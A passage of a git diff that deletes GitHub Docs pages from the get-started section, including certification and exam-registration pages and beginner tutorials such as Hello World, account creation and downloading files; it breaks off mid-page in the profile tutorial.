- -{% ifversion fpt %} - -## Further reading - -* [AUTOTITLE](/get-started/onboarding/getting-started-with-github-team) -{% endif %} -{% endif %} diff --git a/content/get-started/onboarding/index.md b/content/get-started/onboarding/index.md deleted file mode 100644 index 109f71479e8e..000000000000 --- a/content/get-started/onboarding/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Onboarding -intro: '' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /getting-started-with-your-github-account - - /getting-started-with-github-team - - /getting-started-with-the-github-enterprise-cloud-trial - - /getting-started-with-github-enterprise-cloud - - /getting-started-with-github-enterprise-server ---- diff --git a/content/get-started/showcase-your-expertise-with-github-certifications/about-github-certifications.md b/content/get-started/showcase-your-expertise-with-github-certifications/about-github-certifications.md deleted file mode 100644 index ef9dec4bfcc8..000000000000 --- a/content/get-started/showcase-your-expertise-with-github-certifications/about-github-certifications.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: 'About {% data variables.product.prodname_certifications %}' -intro: 'Earn a {% data variables.product.prodname_certifications_singular %} to showcase your expertise in {% data variables.product.company_short %} technologies and workflows.' -allowTitleToDifferFromFilename: true -versions: - feature: github-certification ---- - -{% ifversion ghec %} - -> [!NOTE] -> {% data variables.enterprise.prodname_managed_users_caps %} do not have access to the {% data variables.product.prodname_certifications %} program. - -{% endif %} - -## About {% data variables.product.prodname_certifications %} - -With {% data variables.product.prodname_certifications %}, you can showcase your expertise in {% data variables.product.company_short %} technologies and workflows. Earning a {% data variables.product.prodname_certifications_singular %} gives you a competitive edge in the job market by allowing you to promote your skills in a specific {% data variables.product.company_short %} domain. - -### {% data variables.product.prodname_dotcom %} Foundations Certification - -With the {% data variables.product.prodname_dotcom %} Foundations certificate, you can highlight your understanding of the foundational topics and concepts of collaborating, contributing, and working on {% data variables.product.prodname_dotcom %}. This exam covers: - -* Collaboration -* {% data variables.product.prodname_dotcom %} products -* Git basics -* Working within {% data variables.product.prodname_dotcom %} repositories - -### {% data variables.product.prodname_actions %} Certification - -You can certify your proficiency in automating workflows and accelerating development with {% data variables.product.prodname_actions %} by earning a {% data variables.product.prodname_actions %} certificate. This exam covers: - -* Streamlining workflows -* Automating tasks -* Optimizing software pipelines - -### {% data variables.product.prodname_GH_advanced_security %} Certification - -You can highlight your knowledge with the {% data variables.product.prodname_GH_advanced_security %} certificate. This exam covers: - -* Vulnerability identification -* Workflow security -* Security implementation - -### {% data variables.product.prodname_dotcom %} Administration Certification - -You can certify your ability to optimize and manage a healthy {% data variables.product.prodname_dotcom %} environment with the {% data variables.product.prodname_dotcom %} Admin exam. This exam covers: - -* Repository management -* Workflow optimization -* Efficient collaboration - -## Getting started with {% data variables.product.prodname_certifications %} - -To get started with {% data variables.product.prodname_certifications %}, you can review the different certifications on the [{% data variables.product.prodname_certifications_singular %} Registration](https://examregistration.github.com/overview) page. Every certification page includes details about the skills measured in the exams, how you can prepare, and links to register for the exams. - -If you have the skills, you can register for the exam. If you want additional training, refer to the courses or learning paths in the “Preparing for the certification” section. - -After successful completion of a certificate exam, you will receive a Credly badge and certificate to verify your credentials. - -## Further reading - -* [{% data variables.product.prodname_certifications %} Program FAQs](https://examregistration.github.com/faq) -* [{% data variables.product.prodname_certifications %} - Candidate Handbook](https://examregistration.github.com/handbook) diff --git a/content/get-started/showcase-your-expertise-with-github-certifications/index.md b/content/get-started/showcase-your-expertise-with-github-certifications/index.md deleted file mode 100644 index 4735f1d42f26..000000000000 --- a/content/get-started/showcase-your-expertise-with-github-certifications/index.md +++ /dev/null @@ -1,11 +0,0 @@ ---- -title: 'Showcase your expertise with {% data variables.product.prodname_certifications %}' -shortTitle: '{% data variables.product.prodname_certifications %}' -intro: 'Learn how to prepare for the exams and find resources to help you succeed.' -versions: - fpt: '*' - ghec: '*' -children: - - /about-github-certifications - - /registering-for-a-github-certifications-exam ---- \ No newline at end of file diff --git a/content/get-started/showcase-your-expertise-with-github-certifications/registering-for-a-github-certifications-exam.md b/content/get-started/showcase-your-expertise-with-github-certifications/registering-for-a-github-certifications-exam.md deleted file mode 100644 index a60b3e2495d7..000000000000 --- a/content/get-started/showcase-your-expertise-with-github-certifications/registering-for-a-github-certifications-exam.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: 'Registering for a {% data variables.product.prodname_certifications %} exam' -intro: 'When you’re prepared and ready, you can register for the exam.' -allowTitleToDifferFromFilename: true -versions: - feature: github-certification -shortTitle: Registering for an exam ---- - -{% ifversion ghec %} - -> [!NOTE] -> {% data variables.enterprise.prodname_managed_users_caps %} do not have access to the {% data variables.product.prodname_certifications %} program. - -{% endif %} - -## About registration - -When you’re prepared and ready to schedule your exam, you can register from any certification details page on the [{% data variables.product.prodname_certifications_singular %} Registration](https://examregistration.github.com/overview) page. - -During the scheduling process you can choose if you want to take the exam in a local test center or online. With an online proctored exam, you can take your exam at almost any time using your own computer, but it requires installation of a secure browser and reliable access to the internet. Local test centers provide a secure computer environment to take your exam. For more information, see [Computer specifications](https://www.psiexams.com/become-psi-test-center/computer-specifications/) in the PSI documentation. - -The {% data variables.product.prodname_certifications_singular %} program partners with PSI to deliver both online and in-person certification exams. After your register, the first appointment offered to you will be a minimum of 24 hours from the time of booking. When you sign up for an exam, PSI will send you a confirmation window, and you have a 2-month window to schedule. If you fail to schedule within that time frame, PSI will send you a final email reminder. If you miss your scheduling window, you will need to repeat the scheduling steps. - -Regardless of which mode you choose, you’ll need to meet specific identification requirements. - -## About identification requirements - -To gain admission to the testing center or online-proctored exam, you must present a valid, unexpired, and acceptable government-issued ID that has your name, photo, and signature. The first and last name you use to register for the exam must match exactly with the first and last name on the ID. - -Acceptable forms include: - -* International Travel Passport -* Driver's License -* Government ID card (with photo), such as state or provincial ID, visa, green card - -If you do not have a qualifying ID issued from the country in which you are testing, a passport from your country of citizenship is required. - -Failure to identify yourself and supply proper ID at the time of the exam is considered a missed appointment. There will be no refund of your exam fee. diff --git a/content/get-started/start-your-journey/about-github-and-git.md b/content/get-started/start-your-journey/about-github-and-git.md deleted file mode 100644 index c77793155e42..000000000000 --- a/content/get-started/start-your-journey/about-github-and-git.md +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: About GitHub and Git -shortTitle: About GitHub and Git -intro: 'You can use {% data variables.product.github %} and Git to collaborate on work.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -topics: - - Git - - Fundamentals - - GitHub - - Collaboration - - Community -redirect_from: - - /get-started/quickstart/about-github-and-git ---- - -## About {% data variables.product.github %} - -{% data variables.product.github %} is a {% ifversion not ghes %}cloud-based {% endif %}platform where you can store, share, and work together with others to write code. - -Storing your code in a "repository" on {% data variables.product.github %} allows you to: -* **Showcase or share** your work. -* **Track and manage** changes to your code over time. -* Let others **review** your code, and make suggestions to improve it. -* **Collaborate** on a shared project, without worrying that your changes will impact the work of your collaborators before you're ready to integrate them. - -Collaborative working, one of {% data variables.product.github %}’s fundamental features, is made possible by the open-source software, Git, upon which {% data variables.product.github %} is built. - -## About Git - -Git is a version control system that intelligently tracks changes in files. Git is particularly useful when you and a group of people are all making changes to the same files at the same time. - -Typically, to do this in a Git-based workflow, you would: -* **Create a branch** off from the main copy of files that you (and your collaborators) are working on. -* **Make edits** to the files independently and safely on your own personal branch. -* Let Git intelligently **merge** your specific changes back into the main copy of files, so that your changes don't impact other people's updates. -* Let Git **keep track** of your and other people's changes, so you all stay working on the most up-to-date version of the project. - -{% ifversion fpt %} -To try using Git yourself, see [AUTOTITLE](/get-started/learning-to-code/getting-started-with-git). -{% else %} -If you want to learn more about Git, see [AUTOTITLE](/get-started/using-git/about-git). -{% endif %} - -### How do Git and {% data variables.product.github %} work together? - -When you upload files to {% data variables.product.github %}, you'll store them in a "Git repository." This means that when you make changes (or "commits") to your files in {% data variables.product.github %}, Git will automatically start to track and manage your changes. - -There are plenty of Git-related actions that you can complete on {% data variables.product.github %} directly in your browser, such as creating a Git repository, creating branches, and uploading and editing files. - -However, most people work on their files locally (on their own computer), then continually sync these local changes—and all the related Git data—with the central "remote" repository on {% data variables.product.github %}. There are plenty of tools that you can use to do this, such as GitHub Desktop. - -Once you start to collaborate with others and all need to work on the same repository at the same time, you’ll continually: - -* **Pull** all the latest changes made by your collaborators from the remote repository on {% data variables.product.github %}. -* **Push** back your own changes to the same remote repository on {% data variables.product.github %}. - -Git figures out how to intelligently merge this flow of changes, and {% data variables.product.github %} helps you manage the flow through features such as "pull requests." - -## Where do I start? - -If you're new to {% data variables.product.github %}, and unfamiliar with Git, we recommend working through the articles in the [AUTOTITLE](/get-started/start-your-journey) category. The articles focus on tasks you can complete directly in your browser on {% data variables.product.github %} and will help you to: - -* **Create an account** on {% data variables.product.github %}. -* **Learn the "{% data variables.product.github %} Flow"**, and the key principles of collaborative working (branches, commits, pull requests, merges). -* **Personalise your profile** to share your interests and skills. -* **Explore {% data variables.product.github %}** to find inspiration for your own projects and connect with others. -* Learn how to **download** interesting code for your own use. -* Learn how to **upload** something you're working on to a {% data variables.product.github %} repository. - -{% ifversion fpt or ghec %} - -## Next steps - -* [AUTOTITLE](/get-started/start-your-journey/creating-an-account-on-github) - -{% endif %} - -## Further reading - -* [AUTOTITLE](/get-started/using-github/connecting-to-github) diff --git a/content/get-started/start-your-journey/creating-an-account-on-github.md b/content/get-started/start-your-journey/creating-an-account-on-github.md deleted file mode 100644 index 3ed6cd42bbb9..000000000000 --- a/content/get-started/start-your-journey/creating-an-account-on-github.md +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Creating an account on GitHub -shortTitle: Create an account -intro: 'Create a personal account to get started with {% data variables.product.prodname_dotcom %}.' -redirect_from: - - /articles/signing-up-for-a-new-github-account - - /github/getting-started-with-github/signing-up-for-a-new-github-account - - /github/getting-started-with-github/signing-up-for-github/signing-up-for-a-new-github-account - - /get-started/signing-up-for-github/signing-up-for-a-new-github-account - - /articles/signing-up-for-github - - /github/getting-started-with-github/signing-up-for-github - - /get-started/signing-up-for-github - - /get-started/quickstart/creating-an-account-on-github -versions: - fpt: '*' - ghec: '*' -topics: - - Accounts ---- - -## About your personal account on {% data variables.product.prodname_dotcom %} - -To get started with {% data variables.product.prodname_dotcom %}, you'll need to create a free personal account and verify your email address. - -{% data reusables.accounts.your-personal-account %} - -Later, you can explore the different types of accounts that {% data variables.product.prodname_dotcom %} offers, and decide if you need a billing plan. For more information, see [AUTOTITLE](/get-started/learning-about-github/types-of-github-accounts) and [AUTOTITLE](/get-started/learning-about-github/githubs-plans). - -Note that the steps in this article don't apply to {% data variables.product.prodname_emus %}. If your {% data variables.product.prodname_dotcom %} account has been created for you by your company, you can skip this article and continue to [AUTOTITLE](/get-started/start-your-journey/hello-world). - -## Signing up for a new personal account - -1. Navigate to https://github.com/. -1. Click **Sign up**. -1. Follow the prompts to create your personal account. - -During sign up, you'll be asked to verify your email address. Without a verified email address, you won't be able to complete some basic {% data variables.product.prodname_dotcom %} tasks, such as creating a repository. - -Some enterprises create {% data variables.enterprise.prodname_managed_users %} for their users. You can't sign up for a personal account with an email address that's already verified for a {% data variables.enterprise.prodname_managed_user %}. - -If you're having problems verifying your email address, there are some troubleshooting steps you can take. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address#troubleshooting-email-verification). - -## Next steps - -* Now that you've created your personal account, we'll start to explore the basics of {% data variables.product.prodname_dotcom %}. In the next tutorial, [AUTOTITLE](/get-started/start-your-journey/hello-world), you'll learn about repositories and how to create one, and you'll be introduced to concepts such as branching, commits, and pull requests. -* We strongly recommend that you configure 2FA for your account. 2FA is an extra layer of security that can help keep your account secure. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication). - -## Further reading - -* [AUTOTITLE](/get-started/learning-about-github/types-of-github-accounts) -* [AUTOTITLE](/get-started/learning-about-github/githubs-plans) -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address) diff --git a/content/get-started/start-your-journey/downloading-files-from-github.md b/content/get-started/start-your-journey/downloading-files-from-github.md deleted file mode 100644 index ba778511e25a..000000000000 --- a/content/get-started/start-your-journey/downloading-files-from-github.md +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Downloading files from GitHub -shortTitle: Download files -intro: 'Learn how to download files from {% data variables.product.github %}, and understand the difference between downloading, cloning, and forking.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Repositories -type: tutorial -redirect_from: - - /get-started/quickstart/downloading-files-from-github ---- - -## Introduction - -{% ifversion fpt or ghec %} - -{% data variables.product.prodname_dotcom_the_website %} is home to millions of open-source software projects, that you can copy, customize, and use for your own purposes. - -{% endif %} - -There are different ways to get a copy of a repository's files on {% data variables.product.github %}. You can: -* **Download** a snapshot of a repository's files as a zip file to your own (local) computer. -* **Clone** a repository to your local computer using Git. -* **Fork** a repository to create a new repository on {% data variables.product.github %}. - -Each of these methods has its own use case, which we'll explain in the next section. - -This tutorial focuses on downloading a repository's files to your local computer. For example, if you've found some interesting content in a repository on {% data variables.product.github %}, downloading is a simple way to get a copy of the content, without using Git or applying version control. - -### Understanding the differences between downloading, cloning, and forking - -| Term | Definition | Use case | -| ------------- | ------------- | -------| -| Download | To save a snapshot of a repository's files to your local computer. | You want to use or customize the content of the files, but you're not interested in applying version control. | -| Clone | To make a full copy of a repository's data, including all versions of every file and folder. | You want to work on a full copy of the repository on your local computer, using Git to track and manage your changes. You likely intend to sync these locally-made changes with the {% data variables.product.github %}-hosted repository. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/cloning-a-repository). | -| Fork | To create a new repository on {% data variables.product.github %}, linked to your personal account, that shares code and visibility settings with the original ("upstream") repository. | You want to use the original repository's data as a basis for your own project on {% data variables.product.prodname_dotcom %}. Or, you want to use the fork to propose changes to the original ("upstream") repository. After forking the repository, you still might want to clone the repository, so that you can work on the changes on your local computer. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/fork-a-repo). | - -## Prerequisites - -* You must have a {% data variables.product.prodname_dotcom %} account. - -## Downloading a repository's files - -For the tutorial, we'll use a demo repository ([octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife)). - -1. Navigate to [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife). -{% data reusables.repositories.click-code-dropdown %} -{% data reusables.repositories.download-zip %} - -## Conclusion - -You now have a copy of the repository's files saved as a zip file on your local computer. You can edit and customize the files for your own purposes. - -## Next steps - -* In the next tutorial, [AUTOTITLE](/get-started/start-your-journey/uploading-a-project-to-github), you'll learn how to upload your own files to a remote repository on {% data variables.product.github %}. - -## Further reading - -* [AUTOTITLE](/repositories/working-with-files/using-files/downloading-source-code-archives) diff --git a/content/get-started/start-your-journey/finding-inspiration-on-github.md b/content/get-started/start-your-journey/finding-inspiration-on-github.md deleted file mode 100644 index 48b7c02c1bab..000000000000 --- a/content/get-started/start-your-journey/finding-inspiration-on-github.md +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Finding inspiration on GitHub -shortTitle: Find inspiration -redirect_from: - - /be-social - - /articles/be-social - - /github/getting-started-with-github/be-social - - /github/getting-started-with-github/quickstart/be-social - - /get-started/quickstart/be-social - - /get-started/quickstart/finding-inspiration-on-github -intro: 'You can find inspiration for your own projects and learning on {% data variables.product.github %} and connect with a community.' -permissions: '{% data reusables.enterprise-accounts.emu-permission-interact %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Profile - - Accounts - - Repositories ---- - -## Introduction - -{% ifversion fpt or ghec %}{% data variables.product.github %} is a vast open-source community. {% endif %}You can explore {% data variables.product.github %} to find interesting repositories, topics, code, people, and organizations that can inspire your own work, or support your own learning. - -Once you've found something that interests you, you can: -* **Star** the repository or topic, so you can easily find it again later. -* **Follow** people or organizations, so you can stay updated on their activities. -* **Download** useful repositories or code, and customize it for your own use. -* **Contribute** to another user's project, by opening a pull request. - -Once you star repositories or follow people, you will see updates on their activities on your {% data reusables.user-settings.personal_dashboard %}. - -## Visit Explore {% data variables.product.github %} - -1. Navigate to {% data variables.explore.explore_github %}. -1. Browse popular repositories and topics. -1. Click **{% octicon "star" aria-hidden="true" %} Star** next to repositories and topics that interest you, so you can easily find them again later. -1. Navigate to your {% data variables.explore.your_stars_page %} to see all your starred repositories and topics. - -## Search for a topic or project on {% data variables.product.github %} - -1. Navigate to https://github.com/search. -1. Type a keyword or query into the search bar. For example, try "green software tools." For more detailed information about searching for specific topics, repositories, or code, see [AUTOTITLE](/search-github/getting-started-with-searching-on-github/about-searching-on-github). -1. Use the left sidebar to filter the results. For example, to browse all repositories in the "green-software" topic, search "green-software", then filter by "Topic". -1. Star the repositories that match your interests, such as [{% data variables.product.github %}'s Green Software Directory](https://github.com/github/GreenSoftwareDirectory). - -## Following people and organizations on {% data variables.product.github %} - -Following people and organizations is another good way to stay updated on projects and topics that interest you. - -### Following people - -{% data reusables.profile.navigate-to-user-profile %} -1. Under the user's profile picture, click **Follow**. -1. Optionally, to unfollow a user, click **Unfollow**. - -### Following organizations - -1. Navigate to the organization page you want to follow. -1. In the top-right corner, click **Follow**. - - ![Screenshot of @octo-org's profile page. A button, labeled "Follow", is outlined in dark orange.](/assets/images/help/profile/organization-profile-following.png) - -1. Optionally, to unfollow an organization, click **Unfollow**. - -## Next steps - -* {% data reusables.support.connect-in-the-forum-bootcamp %} -* In the next tutorial, [AUTOTITLE](/get-started/start-your-journey/downloading-files-from-github), you'll learn how to download files from {% data variables.product.github %} for your own use, and learn the differences between downloading, cloning, and forking repositories. - -## Further reading - -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/about-your-personal-dashboard){% ifversion fpt or ghec %} -* [AUTOTITLE](/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github){% endif %} diff --git a/content/get-started/start-your-journey/git-and-github-learning-resources.md b/content/get-started/start-your-journey/git-and-github-learning-resources.md deleted file mode 100644 index 2bbffc041347..000000000000 --- a/content/get-started/start-your-journey/git-and-github-learning-resources.md +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Git and GitHub learning resources -redirect_from: - - /articles/good-resources-for-learning-git-and-github - - /articles/what-are-other-good-resources-for-learning-git-and-github - - /articles/git-and-github-learning-resources - - /github/getting-started-with-github/git-and-github-learning-resources - - /github/getting-started-with-github/quickstart/git-and-github-learning-resources - - /get-started/quickstart/git-and-github-learning-resources -intro: 'There are a lot of helpful Git and {% data variables.product.github %} resources available.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -authors: - - GitHub -shortTitle: Learning resources ---- - -## Using {% data variables.product.github %} - -Become better acquainted with {% data variables.product.github %} through our [AUTOTITLE](/get-started/using-github) articles: -* To review the fundamentals of a {% data variables.product.github %} workflow, see [AUTOTITLE](/get-started/using-github/github-flow). -* To learn about the various tools for working with repositories hosted on {% data variables.product.github %}, and how to choose a tool that best suits your needs, see [AUTOTITLE](/get-started/using-github/connecting-to-github). -* To understand the different communication tools on {% data variables.product.github %}, such as {% data variables.product.prodname_github_issues %}{% ifversion fpt or ghec %}, {% data variables.product.prodname_discussions %},{% endif %} and pull requests, see [AUTOTITLE](/get-started/using-github/communicating-on-github). - -## Using Git - -Familiarize yourself with Git through our series of articles: -* [AUTOTITLE](/get-started/getting-started-with-git). -* [AUTOTITLE](/get-started/using-git). - -There are also lots of other online reading resources to help you learn Git: -* [Official Git project site](https://git-scm.com). -* [ProGit book](http://git-scm.com/book). -* [Git command list](https://git-scm.com/docs). - -## Online courses - -* {% data variables.product.prodname_learning %} offers free interactive courses that are built into {% data variables.product.prodname_dotcom %} with instant automated feedback and help. Learn to open your first pull request, make your first open source contribution, create a {% data variables.product.prodname_pages %} site, and more. For more information about course offerings, see [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}). - -* [Git branching](http://learngitbranching.js.org/) is a free interactive tool for learning and practising Git concepts. - -* An interactive [online Git course](https://www.pluralsight.com/courses/code-school-git-real) from [Pluralsight](https://www.pluralsight.com/codeschool) can also teach you the basics of Git. - -## Training - -### {% data variables.product.prodname_dotcom %}'s web-based educational programs - -{% data variables.product.prodname_dotcom %} offers live [trainings](https://services.github.com/#upcoming-events) with a hands-on, project-based approach for those who love the command line and those who don't. - -### Training for your company - -{% data variables.product.prodname_dotcom %} offers [in-person classes](https://services.github.com/#offerings) taught by our highly-experienced educators. [Contact us](https://services.github.com/#contact) to ask your training-related questions. - -## Community - -{% data reusables.support.ask-and-answer-forum %} diff --git a/content/get-started/start-your-journey/hello-world.md b/content/get-started/start-your-journey/hello-world.md deleted file mode 100644 index 8d027a65cac2..000000000000 --- a/content/get-started/start-your-journey/hello-world.md +++ /dev/null @@ -1,156 +0,0 @@ ---- -title: Hello World -intro: 'Follow this Hello World exercise to learn {% data variables.product.github %}''s pull request workflow.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: quick_start -topics: - - Pull requests - - Fundamentals -redirect_from: - - /get-started/quickstart/hello-world ---- - -## Introduction - -This tutorial teaches you {% data variables.product.github %} essentials like repositories, branches, commits, and pull requests. You'll create your own Hello World repository and learn {% data variables.product.github %}'s pull request workflow, a popular way to create and review code. - -In this quickstart guide, you will: - -* Create and use a repository. -* Start and manage a new branch. -* Make changes to a file and push them to {% data variables.product.github %} as commits. -* Open and merge a pull request. - -### Prerequisites - -* You must have a {% data variables.product.github %} account. {% ifversion fpt or ghec %}For more information, see [AUTOTITLE](/get-started/start-your-journey/creating-an-account-on-github).{% endif %} - -* You don't need to know how to code, use the command line, or install Git (the version control software that {% data variables.product.github %} is built on). - -## Step 1: Create a repository - -The first thing we'll do is create a repository. You can think of a repository as a folder that contains related items, such as files, images, videos, or even other folders. A repository usually groups together items that belong to the same "project" or thing you're working on. - -Often, repositories include a README file, a file with information about your project. README files are written in Markdown, which is an easy-to-read, easy-to-write language for formatting plain text. We'll learn more about Markdown in the next tutorial, [AUTOTITLE](/get-started/start-your-journey/setting-up-your-profile). - -{% data variables.product.github %} lets you add a README file at the same time you create your new repository. {% data variables.product.github %} also offers other common options such as a license file, but you do not have to select any of them now. - -Your `hello-world` repository can be a place where you store ideas, resources, or even share and discuss things with others. - -{% data reusables.repositories.create_new %} -1. In the "Repository name" box, type `hello-world`. -{% data reusables.repositories.add-description %} For example, type "This repository is for practicing the {% data variables.product.prodname_dotcom %} Flow." -{% data reusables.repositories.select-public-or-private %} -{% data reusables.repositories.add-readme %} -{% data reusables.repositories.click-create %} - -## Step 2: Create a branch - -Branching lets you have different versions of a repository at one time. - -By default, your repository has one branch named `main` that is considered to be the definitive branch. You can create additional branches off of `main` in your repository. - -Branching is helpful when you want to add new features to a project without changing the main source of code. The work done on different branches will not show up on the main branch until you merge it, which we will cover later in this guide. You can use branches to experiment and make edits before committing them to `main`. - -When you create a branch off the `main` branch, you're making a copy, or snapshot, of `main` as it was at that point in time. If someone else made changes to the `main` branch while you were working on your branch, you could pull in those updates. - -This diagram shows: - -* The `main` branch -* A new branch called `feature` -* The journey that `feature` takes through stages for "Commit changes," "Submit pull request," and "Discuss proposed changes" before it's merged into `main` - -![Diagram of the two branches. The "feature" branch diverges from the "main" branch and is then merged back into main.](/assets/images/help/repository/branching.png) - -### Creating a branch - -1. Click the **Code** tab of your `hello-world` repository. -1. Above the file list, click the dropdown menu that says **main**. - - ![Screenshot of the repository page. A dropdown menu, labeled with a branch icon and "main", is highlighted with an orange outline.](/assets/images/help/branches/branch-selection-dropdown-global-nav-update.png) - -1. Type a branch name, `readme-edits`, into the text box. -1. Click **Create branch: readme-edits from main**. - - ![Screenshot of the branch dropdown for a repository. "Create branch: readme-edits from 'main'" is outlined in dark orange.](/assets/images/help/repository/new-branch.png) - -Now you have two branches, `main` and `readme-edits`. Right now, they look exactly the same. Next you'll add changes to the new `readme-edits` branch. - -## Step 3: Make and commit changes - -When you created a new branch in the previous step, {% data variables.product.github %} brought you to the code page for your new `readme-edits` branch, which is a copy of `main`. - -You can make and save changes to the files in your repository. On {% data variables.product.github %}, saved changes are called commits. Each commit has an associated commit message, which is a description explaining why a particular change was made. Commit messages capture the history of your changes so that other contributors can understand what you’ve done and why. - -1. Under the `readme-edits` branch you created, click the `README.md` file. -1. To edit the file, click {% octicon "pencil" aria-label="Edit file" %}. -1. In the editor, write a bit about yourself. -{% ifversion code-view-ui %}1. Click **Commit changes**.{% endif %} -1. In the "Commit changes" box, write a commit message that describes your changes. -1. Click **Commit changes**. - -These changes will be made only to the README file on your `readme-edits` branch, so now this branch contains content that's different from `main`. - -## Step 4: Open a pull request - -Now that you have changes in a branch off of `main`, you can open a pull request. - -Pull requests are the heart of collaboration on {% data variables.product.github %}. When you open a pull request, you're proposing your changes and requesting that someone review and pull in your contribution and merge them into their branch. Pull requests show diffs, or differences, of the content from both branches. The changes, additions, and subtractions are shown in different colors. - -As soon as you make a commit, you can open a pull request and start a discussion, even before the code is finished. - -In this step, you'll open a pull request in your own repository and then merge it yourself. It's a great way to practice the {% data variables.product.github %} flow before working on larger projects. - -1. Click the **Pull requests** tab of your `hello-world` repository. -1. Click **New pull request**. -1. In the **Example Comparisons** box, select the branch you made, `readme-edits`, to compare with `main` (the original). -1. Look over your changes in the diffs on the Compare page, make sure they're what you want to submit. - - ![Screenshot of a diff for the README.md file. 3 red lines list the text that's being removed, and 3 green lines list the text being added.](/assets/images/help/repository/diffs.png) - -1. Click **Create pull request**. -1. Give your pull request a title and write a brief description of your changes. You can include emojis and drag and drop images and gifs. -1. Click **Create pull request**. - -### Reviewing a pull request - -When you start collaborating with others, this is the time you'd ask for their review. This allows your collaborators to comment on, or propose changes to, your pull request before you merge the changes into the `main` branch. - -We won't cover reviewing pull requests in this tutorial, but if you're interested in learning more, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews). Alternatively, try the [{% data variables.product.prodname_learning %}](https://skills.github.com/) "Reviewing pull requests" course. - -## Step 5: Merge your pull request - -In this final step, you will merge your `readme-edits` branch into the `main` branch. After you merge your pull request, the changes on your `readme-edits` branch will be incorporated into `main`. - -Sometimes, a pull request may introduce changes to code that conflict with the existing code on `main`. If there are any conflicts, {% data variables.product.github %} will alert you about the conflicting code and prevent merging until the conflicts are resolved. You can make a commit that resolves the conflicts or use comments in the pull request to discuss the conflicts with your team members. - -In this walk-through, you should not have any conflicts, so you are ready to merge your branch into the main branch. - -1. At the bottom of the pull request, click **Merge pull request** to merge the changes into `main`. -1. Click **Confirm merge**. You will receive a message that the request was successfully merged and the request was closed. -1. Click **Delete branch**. Now that your pull request is merged and your changes are on `main`, you can safely delete the `readme-edits` branch. If you want to make more changes to your project, you can always create a new branch and repeat this process. -1. Click back to the **Code** tab of your `hello-world` repository to see your published changes on `main`. - -## Conclusion - -By completing this tutorial, you've learned to create a project and make a pull request on {% data variables.product.github %}. - -As part of that, we've learned how to: - -* Create a repository. -* Start and manage a new branch. -* Change a file and commit those changes to {% data variables.product.github %}. -* Open and merge a pull request. - -## Next steps - -* Take a look at your {% data variables.product.github %} profile and you'll see your work reflected on your contribution graph. -* If you want to practice the skills you've learned in this tutorial again, try the [{% data variables.product.prodname_learning %}](https://skills.github.com/) "Introduction to {% data variables.product.prodname_dotcom %}" course. -* In the next tutorial, [AUTOTITLE](/get-started/start-your-journey/setting-up-your-profile), you'll learn how to personalize your profile and you'll also learn some basic Markdown syntax for writing on {% data variables.product.github %}. - -## Further reading - -* [AUTOTITLE](/get-started/using-github/github-flow) diff --git a/content/get-started/start-your-journey/index.md b/content/get-started/start-your-journey/index.md deleted file mode 100644 index 7c6d81be2987..000000000000 --- a/content/get-started/start-your-journey/index.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Start your journey -intro: 'Learn the basics of {% data variables.product.github %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests - - Issues - - Notifications - - Accounts -children: - - /about-github-and-git - - /creating-an-account-on-github - - /hello-world - - /setting-up-your-profile - - /finding-inspiration-on-github - - /downloading-files-from-github - - /uploading-a-project-to-github - - /git-and-github-learning-resources -redirect_from: - - /github/getting-started-with-github/quickstart - - /get-started/quickstart ---- diff --git a/content/get-started/start-your-journey/setting-up-your-profile.md b/content/get-started/start-your-journey/setting-up-your-profile.md deleted file mode 100644 index 9e585d2af9af..000000000000 --- a/content/get-started/start-your-journey/setting-up-your-profile.md +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: Setting up your profile -shortTitle: Set up your profile -intro: Your profile tells people who you are and what you're interested in. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Profile - - Accounts -type: how_to -redirect_from: - - /get-started/quickstart/setting-up-your-profile ---- - -## About your profile - -Your profile page on {% data variables.product.github %} is a place where people can find out more about you. You can use your profile to: - -* **Share** your interests and skills. -* **Showcase** your projects and contributions. -* **Express** your identity{% ifversion fpt or ghec %} and show the {% data variables.product.github %} community who you are{% endif %}. - -In this tutorial, you'll learn how to personalize your profile by adding a profile picture, bio, and a profile README. - -You'll also learn the basics of Markdown syntax, which is what you'll use to format any writing you do on {% data variables.product.github %}. - -### Prerequisites - -* You must have a {% data variables.product.github %} account. {% ifversion fpt or ghec %}For more information, see [AUTOTITLE](/get-started/start-your-journey/creating-an-account-on-github).{% endif %} - -## Adding a profile picture and bio - -First, we'll add a picture to your profile. Your profile picture helps identify you across {% data variables.product.github %}. - -### Adding a profile picture - -1. In the upper-right corner of any page, click your existing profile avatar, then, from the dropdown menu, click **Settings**. -{% data reusables.accounts.set-profile-picture %} - -Next, we'll add some basic information about yourself to share with other {% data variables.product.github %} users. This information will display below your profile picture on your profile page. - -### Adding a bio - -1. On your profile page, under 